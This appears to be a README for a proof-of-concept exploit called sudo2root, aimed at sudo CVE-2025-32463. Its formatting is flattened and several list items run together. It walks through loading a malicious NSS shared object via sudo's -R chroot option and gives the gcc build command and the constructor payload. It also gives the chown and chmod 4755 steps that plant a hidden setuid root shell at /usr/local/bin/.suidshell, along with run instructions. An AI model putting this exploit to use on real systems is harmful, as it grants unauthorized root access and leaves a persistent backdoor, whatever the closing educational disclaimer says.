
Sudo Local Privilege Escalation CVE-2025-32463 (Best For Cases Where the shell is not stable to spawn a new root shell)
sudo -R NSS InjectionThis PoC demonstrates local privilege escalation on Linux systems via abuse of the sudo -R option in conjunction with a custom NSS module. It targets the vulnerability CVE-2025-32463, which stems from unsafe handling of the nsswitch.conf and NSS shared libraries under a chroot environment.
This PoC, sudo2root, adapts the original technique by compiling a custom NSS module that leverages the constructor attribute to escalate privileges and drop a setuid root shell in /usr/local/bin/.suidshell.
-R chroot flag by sudo.sudo access can execute arbitrary code as root, breaking container and user isolation.sudo -R changes the root directory but does not drop privileges or sanitize the environment.nsswitch.conf and custom libnss_* shared object.sudo into loading the attacker-controlled NSS library.__attribute__((constructor))), drops a setuid root shell, and escalates privileges.sudo2root.c – Malicious NSS module:
setreuid(0,0) and setregid(0,0)gccBash Exploit Script:
etc/nsswitch.conflibnss_/sudo2root1337.so.2 NSS modulesudo -R sudo2root sudo2root
Setuid Shell:
/usr/local/bin/.suidshell/usr/local/bin/.suidshell id
chmod +x sudoinject.sh
./sudoinject.sh
After the exploit completes, run:
/usr/local/bin/.suidshell
whoami # => root
sudoinject.sh # Main exploit script
libnss_/sudo2root1337.so.2 # Malicious NSS module (compiled)
sudo2root/etc/nsswitch.conf # Custom nsswitch pointing to fake module
/usr/local/bin/.suidshell # Final setuid root shell
sudo -R:sudo’s -R <dir> flag changes the root directory before executing a command.nsswitch.conf with passwd: /libnss_<name>.so, sudo loads it before dropping privileges.Shared object is compiled with:
gcc -shared -fPIC -Wl,-init,exploit_constructor -o libnss_/sudo2root1337.so.2 sudo2root.c
Constructor runs before any main() logic.
Creates and compiles a suid shell with:
setreuid(0,0); setregid(0,0); execl("/bin/bash", "bash", NULL);
Sets permissions via:
chown 0:0 .suidshell && chmod 4755 .suidshell

MikiVirusThis code is provided for educational purposes only. Unauthorized use of this code on systems you do not own or have explicit permission to test is illegal and unethical. Always get proper authorization before conducting security testing.